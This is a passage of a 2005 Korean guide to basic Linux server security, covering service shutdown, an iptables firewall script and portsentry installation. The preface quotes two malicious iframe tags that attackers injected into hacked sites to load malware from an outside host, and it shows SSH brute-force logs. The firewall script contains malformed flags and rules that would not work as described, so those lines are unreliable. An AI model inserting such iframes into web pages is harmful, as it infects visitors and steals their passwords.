강좌
클라우드/리눅스에 관한 강좌입니다.
리눅스 분류

리눅스 서버 기본 보안정책

작성자 정보

  • 웹관리자 작성
  • 작성일

컨텐츠 정보

본문

리눅스 서버 기본 보안정책
Step by Step
2005.7.25
작성: Securityproof(http://www.securityproof.net)
1
이 문서는 최근 중국 등을 비롯한 외국의 공격자들로부터 우리나라 서버를 보호하는데
작은 도움이 되기 위해 작성된 것입니다. 특히, 악용될 소지가 높은 리눅스 서버를
대상으로 했습니다. Windows의 경우 악용될 소지가 리눅스보다 적기 때문에 리눅스
서버 보안책만 여기에 포함시켰습니다. 질문이 있는 분은 http://www.securityproof.net
게시판에 글 남겨주시기 바랍니다.
2
[ 목 차 ]
# 머리말 ------------------------------------------------------------------- 3
1. 방화벽 설치 및 운영 ----------------------------------------------------- 8
2. 침입 탐지 및 방어 시스템 PORTSENTRY 운영 -------------------------------- 16
3. chkrootkit를 통한 백도어 설치 탐지 -------------------------------------- 28
4. 파일 퍼미션 설정을 통한 로컬 공격 방어 ---------------------------------- 34
5. 웹 서버 보안을 위한 기본 파일 설정 -------------------------------------- 38
5-1. httpd.conf 보안 설정 ---------------------------------------------- 38
5-2. php.ini 파일 설정 ------------------------------------------------- 60
3
머리말
최근 중국 해커들의 국내 서버에 대한 공격이 날로 증가하고 있습니다. 이에 따른 피해도 증가하고 있습니다.
보통 유럽이나 남미의 해커들의 경우 서버를 공격한 후 웹 페이지를 변조하여 자신들의 흔적을 남겨 사후
수습이 상대적으로 신속하게 이루어질 수 있었습니다.
그러나 중국 해커들의 경우 공격한 서버의 웹 페이지를 변조하는 일은 상대적으로 드물며, 공격한 서버를
추후 공격에 악용하기 위해 백도어를 설치하거나 웹 페이지에 악성 스크립트를 설치하는 경우가 빈번합니다.
가장 최근 MBC ESPN 등의 경우도 마찬가지였습니다. 서버가 공격을 당한 후 중국의 해커들은 백도어를
설치하고, 웹 페이지에 다음과 같은 악성 설치했습니다.
<iframe src=http://gua.wocaloe.com/asp/muma.htm>
<iframe src=http://gua.wocaloe.com/asp/index.htm>
이 악성 스크립트가 설치되어 있는 페이지를 방문하게 되면 악성 프로그램이 사용자의 시스템에 자동
설치되고, 이 결과 시스템의 정보와 개인이 사용하는 각종 패스워드가 공격자에게 노출되게 됩니다.
패스워드를 확보한 중국의 공격자는 게임 사이트의 아이디와 패스워드를 금전 거래에 사용하기도 했습니다.
아직도 이 악성 코드가 그대로 남아 있는 사이트가 있을 것으로 짐작됩니다. 패치가 되지 않은 Windows
시스템을 사용하고 있는 사용자가 그런 사이트에 접속하게 되면 계속적인 피해가 걱정됩니다. 그래서 웹
관리자는 사이트의 모든 소스를 확인할 필요가 있습니다. 관리자 자신이 삽입하지 않은 코드가 있다면 반드시
확인하여 없애야 할 것입니다.
중국의 해커들이 최근 가장 많이 사용하고 있는 공격 방법 중 어느정도 그 실체가 드러난 것은 대략 두
가지입니다. 서버 관리자들은 잘 알겠지만 첫 번째는 ssh bruteforce attack입니다. 이것은 /etc/passwd
파일에 등록되어 있는 각 계정과 패스워드를 무작위 대입 방법을 사용하여 서버에 접속하는 방법입니다. 이
공격을 하면 다음과 같은 로그가 /var/log/secure 파일에 남습니다.
Jul 25 08:31:32 localhost sshd[23569]: Failed password for invalid user samba from ::ffff:211.140.122.36 port 56974 ssh2
Jul 25 08:31:33 localhost sshd[23572]: Invalid user wwwrun from ::ffff:211.140.122.36
Jul 25 08:31:36 localhost sshd[23572]: Failed password for invalid user wwwrun from ::ffff:211.140.122.36 port 57533 ssh2
Jul 25 08:31:37 localhost sshd[23575]: Invalid user ldap from ::ffff:211.140.122.36
Jul 25 08:31:40 localhost sshd[23575]: Failed password for invalid user ldap from ::ffff:211.140.122.36 port 57725 ssh2
Jul 25 08:31:41 localhost sshd[23578]: Invalid user squid from ::ffff:211.140.122.36
Jul 25 08:31:43 localhost sshd[23578]: Failed password for invalid user squid from ::ffff:211.140.122.36 port 58279 ssh2
4
Jul 25 08:31:45 localhost sshd[23581]: Invalid user news from ::ffff:211.140.122.36
Jul 25 08:31:47 localhost sshd[23581]: Failed password for invalid user news from ::ffff:211.140.122.36 port 58440 ssh2
Jul 25 08:31:48 localhost sshd[23584]: Invalid user lp from ::ffff:211.140.122.36
Jul 25 08:31:51 localhost sshd[23584]: Failed password for invalid user lp from ::ffff:211.140.122.36 port 58991 ssh2
Jul 25 08:31:55 localhost sshd[23587]: Failed password for mail from ::ffff:211.140.122.36 port 59142 ssh2
Jul 25 08:31:56 localhost sshd[23589]: Invalid user yahoo from ::ffff:211.140.122.36
Jul 25 08:31:58 localhost sshd[23589]: Failed password for invalid user yahoo from ::ffff:211.140.122.36 port 59707 ssh2
Jul 25 08:32:02 localhost sshd[23592]: Failed password for bin from ::ffff:211.140.122.36 port 59854 ssh2
Jul 25 08:32:04 localhost sshd[23594]: Invalid user postfix from ::ffff:211.140.122.36
Jul 25 08:32:07 localhost sshd[23594]: Failed password for invalid user postfix from ::ffff:211.140.122.36 port 60430 ssh2
Jul 25 08:32:08 localhost sshd[23597]: Invalid user mailman from ::ffff:211.140.122.36
Jul 25 08:32:10 localhost sshd[23597]: Failed password for invalid user mailman from ::ffff:211.140.122.36 port 60991 ssh2
Jul 25 08:32:15 localhost sshd[23600]: Invalid user kathi from ::ffff:211.140.122.36
이 로그에 남아 있는 아이피를 조사해보면 중국 아이피임을 알 수 있습니다. 실제 이 공격에 의해 한번에
10개의 서버가 당한 경우도 있었습니다. 이에 대한 대비책으로 /etc/passwd 파일에 사용되지 않는 계정 앞에
comment 처리를 하고, 사용되는 계정의 패스워드는 ssh bruteforce attack에 사용되는 사전파일에 나오지
않는 강력한 패스워드를 사용해야 합니다. 강력한 패스워드란 흔한 사람 이름이나 지역 이름, 그리고
일반적으로 많이 사용되는 영어단어를 제외한 특수문자와의 조합을 말합니다.
/etc/passwd 파일에 사용되지 않는 계정 앞에 comment 처리는 다음과 같이 쉽게 할 수 있습니다. 먼저
/etc/passwd 파일을 보면 다음과 같습니다. 다음 예는 securityproof에서 제공하고 있는 테마해킹 서버의
내용으로, 보안 설정이 거의 되어 있지 않은 경우입니다.
[root@localhost root]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
5
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/html/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash
canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin
wnn:x:49:49:Wnn System Account:/home/wnn:/sbin/nologin
fax:x:78:78:mgetty fax spool user:/var/spool/fax:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nut:x:57:57:Network UPS Tools:/var/lib/ups:/bin/false
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ident:x:98:98:pident user:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
privoxy:x:73:73::/etc/privoxy:/sbin/nologin
pvm:x:24:24::/usr/share/pvm3:/bin/bash
desktop:x:80:80:desktop:/var/lib/menu/kde:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
securityproof:x:500:500:securityproof:/home/securityproof:/bin/bash
[root@localhost root]#
여기서 사용되지 않는 계정들이 쉘을 사용하고 있는 것을 볼 수 있습니다. 서버에 사용되지 않는 계정은
다음과 같이 모두 앞에 comment 처리를 합니다.
- 이상 생략 -
# postfix:x:89:89::/var/spool/postfix:/sbin/nologin
# mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
# privoxy:x:73:73::/etc/privoxy:/sbin/nologin
# pvm:x:24:24::/usr/share/pvm3:/bin/bash
- 이하 생략 -
6
두 번째로 많이 사용되고 있는 것은 자동화된 공격툴입니다. 현재 가장 많이 사용되고 있는 자동화된
공격툴은 HDSI, MSSQL WEB SHELL, NBSI 등을 비롯한 툴들이 있습니다. 이 툴들의 공통점은 자동화된 웹해킹을
실행하고, 이를 통해 각종 데이터베이스의 정보를 빼 간다는 것입니다. 데이터베이스에는 각종 중요한
정보들이 들어 있습니다. 만약 그 정보들이 암호화되어 있지 않다면 심각한 결과를 초래할 수도 있습니다.
또한 웹 쉘을 이용해 로컬 공격을 실행하고, 이를 통해 시스템 전체를 장악한다는 것입니다.
[그림1. HDSI]
7
또 다른 한 예는 자동화된 SQL Injection 공격툴입니다.
[그림2. MSSQL WEB SHELL]
최근 언론의 발표에서 중국 해커들이 우리나라의 서버를 경유지로 이용하여 일본의 서버를 일제히
공격하겠다는 소식이 전해졌습니다. 일본에서 중국의 아이피를 차단하기 때문에 우리나라의 서버를 경유지로
삼겠다는 것입니다. 여태까지 수 없이 우리나라의 서버들은 외국 크래커들의 경유지로 사용되어 왔습니다.
이것은 인터넷 강국이라 불리는 우리나라의 자존심을 무너지게 하는 것입니다. 자존심은 차치하고, 중요한
정보들이 빠져나가 많은 피해자들이 생기고 있다는 것입니다.
우리나라의 자존심을 지키고, 각종 주요 정보가 빠져나가는 일이 없도록 하며, 피해를 최소화하기 위해
securityproof는 리눅스 보안 지침서를 만들었습니다. securityproof는 보안회사 직원들, 보안 전문가,
선의의 해커들이 모여 운영되는 보안 포탈 사이트입니다. 이 작은 보안 지침서가 우리나라의 보안을 지키는데
작은 도움이 될 수 있으면 기쁘겠습니다. 앞으로도 우리나라의 보안을 위해 securityproof는 최선을 다할
것입니다.
8
1. 방화벽 설치 및 운영
방화벽이라고 하면 어렵게만 들릴 수 있으나, 가장 기본적이면서 효율적인 운영 원칙만을 세운다면 그렇게
어렵지 않을 수 있습니다. 여기서 말하는 방화벽은 리눅스에 기본적으로 제공되는 iptables를 말합니다.
iptables는 아주 강력한 기능을 제공합니다. iptables를 이용하여 방화벽을 운영하기 위해서 먼저 포트
스캐닝을 해봐야 합니다. 포트 스캐닝은 서버에서 제공하는 각종 서비스 데몬의 포트를 확인하는 것을
말합니다.
(1) 포트 스캐닝
대부분의 리눅스 서버에는 nmap이라는 툴이 설치되어 있습니다. 이 툴은 포트 스캐닝을 하여 열린 포트를
확인하고, 불필요한 서비스가 열려있지 않은지를 확인해줍니다. 다음과 같이 명령을 내려봅니다. 여러분들에
직접 입력해야 하는 부분은 파란색으로 표시하겠습니다.
[root@localhost root]# nmap localhost
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http
3306/tcp open mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.283 seconds
[root@localhost root]#
열린 포트를 확인해보니 ssh, telnet, smtp, http, mysql 등의 서비스가 제공되고 있는 것을 볼 수 있습니다.
ssh와 telnet은 관리자나 사용자가 원격으로 서버에 접속하여 서버를 관리하는데 사용되는 것입니다. 여기서
문제가 되는 것은 telnet 서비스입니다. telnet이 문제가 되는 것은 사용자의 아이디나 패스워드가
스니핑이라는 공격을 통해 노출될 수 있기 때문입니다. 그래서 만약 telnet 서비스가 제공 있고, 불가피한
경우가 아니라면 이 서비스는 꺼두는 것이 좋습니다. 방법은 다음과 같습니다.
[root@localhost root]# /etc/rc.d/init.d/telnetd stop
telnetd 를 정지함: [ 확인 ]
[root@localhost root]#
9
그리고 파일 업로드를 위해 ftp를 사용하는 경우가 있습니다. 그러나 ssh에는 sftp 기능이 있습니다. 그래서
굳이 ftp를 사용할 필요가 없습니다. sftp를 이용하기 위해 SSH Secure Shell이라는 프로그램을 이용하면
됩니다. 사용법이 그렇게 어렵지 않으니 다음 링크를 누르시면 바로 다운받을 수 있습니다.
ftp://ftp.sogang.ac.kr/pub/ssh/SSHSecureShellClient-3.2.0.exe
그렇다면 ftp 서비스도 꺼두도록 합니다.
[root@localhost root]# /etc/rc.d/init.d/ftpd stop
ftpd 를 정지함: [ 확인 ]
[root@localhost root]#
여기서 알아봐야 할 것은 각종 서비스 데몬 서비스의 실행과 중단을 하기 위해서는 어떻게 해야하는지
간단하게 알아봅니다. 먼저 다음과 같은 명령을 내립니다.
[root@localhost root]# cd /etc/rc.d/init.d
[root@localhost init.d]# ls
FreeWnn crond irda lpd ospf6d ripngd sshd
aep1000 cups irqbalance mailman ospfd routed syslog
amd dhcpd iscsi mars-nwe pcmcia rstatd tux
anacron dhcrelay isdn mdmonitor portmap rusersd ups
apmd firstboot isicom microcode_ctl postfix rwalld vncserver
arpwatch functions kadmin mysqld postgresql rwhod vsftpd
atalk gpm kdcrotate named privoxy saslauthd winbind
atd halt keytable netdump psacct sendmail xfs
autofs hpoj killall netdump-server pxe single xinetd
bcm5820 httpd kprop netfs radvd smartd ypbind
bgpd identd krb524 network random smb yppasswdd
bluetooth innd krb5kdc nfs rarpd snmpd ypserv
bootparamd ip6tables kudzu nfslock rawdevices snmptrapd ypxfrd
canna ipchains ldap nscd rhnsd spamassassin zebra
cpqarrayd iptables lisa ntpd ripd squid
[root@localhost init.d]#
여러 가지 파일들이 보입니다. 이 파일들이 각 서비스의 데몬을 실행시키고 중단시키는데 사용됩니다. 데몬을
실행시키기 위해서는 start, 중단시키기 위해서는 stop, 다시 시작시키기 위해서는 restart를 누르면 됩니다.
한가지 예로 가장 많이 사용되는 웹 서비스 데몬인 httpd 데몬을 실행 및 중단, 그리고 다시 실행시켜보도록
하겠습니다.
[root@localhost init.d]# /etc/rc.d/init.d/httpd start
10
httpd (을)를 시작합니다: [ 확인 ]
[root@localhost init.d]# /etc/rc.d/init.d/httpd stop
httpd 를 정지함: [ 확인 ]
[root@localhost init.d]# /etc/rc.d/init.d/httpd restart
httpd 를 정지함: [실패]
httpd (을)를 시작합니다: [ 확인 ]
[root@localhost init.d]#
그렇게 어렵지 않습니다. 이런 식으로 하면 지금 현재 실행 중인 불필요한 서비스를 꺼둘 수 있습니다. 그럼
다시 포트 스캐닝을 해보도록 하겠습니다.
[root@localhost root]# nmap localhost
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
3306/tcp open mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.283 seconds
[root@localhost root]#
메일 서버를 운영하지 않는다면 메일 서버도 꺼두도록 합니다. 한 가지 제안하고자 한다면 굳이 서버에 메일
서버를 운영할 필요가 없다고 생각합니다. 요즘 hotmail이나 gmail과 같은 메일 서비스를 제공하는 곳이 많이
있기 때문에 굳이 메일 서버를 소규모 서버에서 운영할 필요를 느끼지 못합니다.
[root@localhost init.d]# /etc/rc.d/init.d/sendmail stop
sendmail를 종료하고 있습니다: [ 확인 ]
sm-client을 종료하고 있습니다: [실패]
[root@localhost init.d]#
다시 최종 포트스캐닝을 합니다.
[root@localhost root]# nmap localhost
11
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.283 seconds
[root@localhost root]#
이제 다시 확인을 해보니 서버에 원격으로 접속하여 관리를 할 수 있는 ssh 서비스가 돌아가고 있고, 웹
서버가 돌아가고 있으며, 홈페이지에서 보드를 운영할 수 있도록 mysql 서버도 돌아가고 있습니다. 사실 이
세가지 포트만 열려 있다면 홈페이지를 운영하는데 아무런 지장이 없습니다.
(2) 사용자 및 그룹 확인
여기서는 방화벽 설정을 할 때 특정 사용자만 접속하도록 설정하기 위한 정보를 알아볼 것입니다. 여기서
특정 사용자란 root와 웹 서버를 운영하는 사용자를 말합니다. 사실 콘솔에서 작업을 할 때는 root로 접속하지
않는 것이 보안을 위해 좋습니다. 하지만 어떨 경우 root로 접속해야 하는 경우가 있습니다. 그래서 여기서는
root와 웹 서버를 운영하는 사용자 두 사람만이 ssh로 접속할 수 있게 하는데 필요한 정보를 알아볼 것입니다.
먼저 /etc/passwd 파일의 내용을 확인합니다. 한가지 팁을 말하자면, 사용하지 않는 서비스 앞에 #를 붙이는
것이 좋습니다.
[root@localhost root]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
- 중략 -
radvd:x:75:75:radvd user:/:/sbin/nologin
securityproof:x:500:500:securityproof:/home/securityproof:/bin/bash
[root@localhost root]#
위의 결과를 보면 root 부분에 0이 보입니다. 그리고 securityproof에는 500이 보입니다. 이것을 잘 봐두시기
바랍니다. 이제 방화벽 설정 준비가 다 되었습니다.
12
(3) 방화벽 설정
지금 돌아가고 있는 서비스는 ssh, http, mysql 서버입니다. 여기에 대한 기본 설정과 해커들이 공격을 위해
사전에 반드시 하는 것이 있는데, 그것은 바로 포트 스캐닝입니다. 보안 관리자가 보안을 위해 열린 포트를
확인하듯, 공격자도 공격을 위해 포트 스캐닝을 합니다.
그런데 만약 포트 스캐닝을 해서 공격자가 원하는 결과를 얻지 못할 경우 성공적인 공격을 할 수 없을
것입니다. 그래서 포트 스캐닝을 하더라도 원하는 결과를 얻지 못하도록 방화벽에 설정할 것입니다. 다시
말하지만 방화벽 설정은 그렇게 어려운 것이 아니니 겁먹지 말고 하나씩 따라 해보시기 바랍니다.
우선 iptables라는 것이 어디에 있는지 확인해봅니다.
[root@localhost root]# which iptables
/sbin/iptables
[root@localhost root]#
확인해보니 /sbin 디렉토리에 있다는 것을 알 수 있습니다. 다음은 스크립트로 만든 방화벽 구성입니다.
여러분들은 word나 아니면 메모장에 작성하여 나중에 서버에 붙이면 됩니다. 먼저 메모장을 열어 다음과 같이
작성합니다. 작성할 때는 자기의 서버에 맞게 설정하는데, 만약 열린 포트가 22, 80, 3306이라면 다음과 같이
그대로 해도 무관할 것입니다. 일단 아래의 스크립트에서 알아둘 것은 #은 코멘트를 달아둔 것입니다. 이것은
실제로 실행이 안되는 것입니다. 필요한 부분은 파란색으로 표시합니다.
#!/bin/sh
#
# by securityproof.net (securityproof@hotmail.com)
#
# 기존의 정책을 초기화
/sbin/iptables -F
#
######################
# 포트 스캐닝 방지를 위한 설정
######################
#
/sbin/iptables -A INPUT -d 0.0.0.0/0 -p icmp -j DROP
# DoS 공격 방지를 위한 설정
13
# DoS 공격은 서비스를 원활히 운영하지 못하게 하기 때문에
# DoS 공격을 받으면 사이트의 신뢰성을 잃게 됨.
/sbin/iptables –t nat –A syn-flood –m limit –limit 12/s --limit-burst 24 –j RETURN
/sbin/iptables -t nat –A syn-flood –j DROP
#
################
# ssh(port 22) 정책
################
#
# 만약 관리자가 고정 아이피를 사용할 경우, 그 아이피만 사용하게 함
# 211.123.123.123라는 아이피 대신 여러분들의 아이피를 써줍니다.
# /sbin/iptables -A INPUT -p tcp --dport 22 -s 211.123.123.123 -j ACCEPT
# 그러나 여러분들이 다른 곳에 가서 서버에 접속할 경우가 있기 때문에
# 이 아이피를 사용하는 곳에 있을 경우 앞의 #를 없애고 실행하며
# 그렇지 않을 경우는 #을 붙여두는 것이 좋을 것입니다.
#
## 이제 특정 사용자만 접속하도록 설정합니다.
# 이는 앞에서 /etc/passwd 파일에 대해 알아볼 때 확인해둔 것입니다.
# root와securityproof가 접속 가능합니다.
# 여러분들은 여러분들의 서버에 맞게 설정하면 됩니다.
# 여기서 여러분들이 고쳐야 할 것은 securityproof에 대한 것이 500입니다.
# 대부분 사용자를 추가하면 500, 501.. 이런 식으로 나갑니다.
# 여러분들이 접속을 허용할 사용자에 해당하는 수를 500 대신 사용하면 됩니다.
#
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 500 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 500 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 500 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 500 -j REJECT
#
##############
# mySQL 정책
14
##############
#
/sbin/iptables -A INPUT -p tcp --dport 3306 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 3306 -j REJECT
# 끝
이제 최종 정리를 해보도록 하겠습니다.
****************************************************************************************
#!/bin/sh
# 기존의 정책을 초기화
/sbin/iptables -F
# 포트 스캐닝 방지를 위한 설정
/sbin/iptables -A INPUT -d 0.0.0.0/0 -p icmp -j DROP
# DoS 공격 방지를 위한 설정
/sbin/iptables –t nat –A syn-flood –m limit –limit 12/s ₩ --limit-burst 24 –j RETURN
/sbin/iptables -t nat –A syn-flood –j DROP
# ssh 정책
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 500 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 500 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 500 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 500 -j REJECT
# mySQL 정책
/sbin/iptables -A INPUT -p tcp --dport 3306 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 3306 -j REJECT
****************************************************************************************
이제 만들어진 스크립트를 서버에서 실행을 합니다.
[root@localhost root]# cat > firewall
#!/bin/sh
# 기존의 정책을 초기화
/sbin/iptables -F
15
# 포트 스캐닝 방지를 위한 설정
/sbin/iptables -A INPUT -d 0.0.0.0/0 -p icmp -j DROP
# DoS 공격 방지를 위한 설정
/sbin/iptables -t nat -A syn-flood -m limit -limit 12/s ₩ --limit-burst 24 -j RETURN
/sbin/iptables -t nat -A syn-flood -j DROP
# ssh 정책
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 500 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 500 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 500 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 500 -j REJECT
# mySQL 정책
/sbin/iptables -A INPUT -p tcp --dport 3306 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 3306 -j REJECT
[root@localhost root]# chmod 700 firewall
[root@localhost root]# ./firewall
이제 다시 포트 스캐닝을 하여 포트의 상태를 알아봅니다.
[root@localhost root]# nmap localhost
Starting nmap 3.70 ( http://www.insecure.org/nmap/ )
Note: Host seems down. If it is really up, but blocking our ping probes, try -P0
Nmap run completed -- 1 IP address (0 hosts up) scanned in 0.117 seconds
[root@localhost root]#
방화벽 설정으로 인해 로컬에서 nmap을 돌려도 그 결과가 나오질 않습니다. 그래서 –P0옵션을 붙여 스캐닝을
해봅니다.
[root@localhost root]# nmap -P0 localhost
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
16
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp filtered mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.294 seconds
[root@localhost root]#
설정한 부분이 보입니다. mysql 부분을 보면 필터링이 되고 있습니다. 물론 다른 설정도 제대로 돌아가고 있
습니다. 좀 있다가 알아볼 porsentry와 iptables가 조화를 이루어 실행되면 아주 강력한 보안 정책이 수립됩
니다. 외부 네트워크에서 –P0옵션을 붙여 스캐닝을 하더라도 그 결과는 보이지 않을 것입니다.
이렇게 해서 방화벽 설정을 위해 필요한 정보를 확인하는 것과 방화벽 스크립트, 그리고 최종 실행까지를 알
아보았습니다. 여러분들은 파란색으로 된 부분만 실행하면 됩니다.
2. 침입 탐지 및 방어 시스템 PORTSENTRY 운영
여기서는 portsentry라는 아주 멋있는 프로그램에 대해 알아볼 것입니다. 일반적으로 해커들은 특정 서버 공
격 전에 포트 스캐닝을 한다고 말했습니다. 이를 통해 필요한 정보를 구합니다. 이에 대한 좀 더 적극적인 방
어책으로 portsentry를 운영하면 각종 침입 시도를 멈추게 할 수 있습니다.
우선 portsentry를 구합니다. wget을 이용하여 바로 서버에 다운받도록 하겠습니다.
[root@localhost root]# wget http://packetstormsecurity.org/UNIX/IDS/portsentry-1.1.tar.gz
--15:49:20-- http://packetstormsecurity.org/UNIX/IDS/portsentry-1.1.tar.gz
=> `portsentry-1.1.tar.gz'
Resolving packetstormsecurity.org... 212.130.50.194
17
Connecting to packetstormsecurity.org[212.130.50.194]:80... connected.
HTTP 요청을 보냅니다, 서버로부터의 응답을 기다림...200 OK
길이: 45,871 [application/x-tar]
100%[============================================================>] 45,871 33.58K/s
15:49:28 (33.53 KB/s) - `portsentry-1.1.tar.gz' saved [45,871/45,871]
[root@localhost root]#
이제 압축을 풀고 설치를 합니다. 설치는 파란색으로 나와 있는 부분대로 따라 하시면 됩니다.
[root@localhost root]# tar xvfz portsentry-1.1.tar.gz
portsentry-1.1/
portsentry-1.1/CHANGES
portsentry-1.1/CREDITS
portsentry-1.1/LICENSE
portsentry-1.1/Makefile
portsentry-1.1/README.COMPAT
portsentry-1.1/README.install
portsentry-1.1/README.methods
portsentry-1.1/README.stealth
portsentry-1.1/ignore.csh
portsentry-1.1/portsentry.c
portsentry-1.1/portsentry.conf
portsentry-1.1/portsentry.h
portsentry-1.1/portsentry.ignore
portsentry-1.1/portsentry_config.h
portsentry-1.1/portsentry_io.c
portsentry-1.1/portsentry_io.h
portsentry-1.1/portsentry_tcpip.h
portsentry-1.1/portsentry_util.c
portsentry-1.1/portsentry_util.h
[root@localhost root]# cd portsentry-1.1
[root@localhost portsentry-1.1]# make linux
SYSTYPE=linux
18
Making
cc -O -Wall -DLINUX -DSUPPORT_STEALTH -o ./portsentry ./portsentry.c ₩
./portsentry_io.c ./portsentry_util.c
[root@localhost portsentry-1.1]# make install
Creating psionic directory /usr/local/psionic
Setting directory permissions
Creating portsentry directory /usr/local/psionic/portsentry
Setting directory permissions
chmod 700 /usr/local/psionic/portsentry
Copying files
cp ./portsentry.conf /usr/local/psionic/portsentry
cp ./portsentry.ignore /usr/local/psionic/portsentry
cp ./portsentry /usr/local/psionic/portsentry
Setting permissions
chmod 600 /usr/local/psionic/portsentry/portsentry.ignore
chmod 600 /usr/local/psionic/portsentry/portsentry.conf
chmod 700 /usr/local/psionic/portsentry/portsentry
Edit /usr/local/psionic/portsentry/portsentry.conf and change
your settings if you haven't already. (route, etc)
WARNING: This version and above now use a new
directory structure for storing the program
and config files (/usr/local/psionic/portsentry).
Please make sure you delete the old files when
the testing of this install is complete.
[root@localhost portsentry-1.1]#
설치는 끝났으며, 이제 설정 파일인 portsentry.conf를 수정합니다. 이 파일이 있는 디렉토리로 가서 이제 설
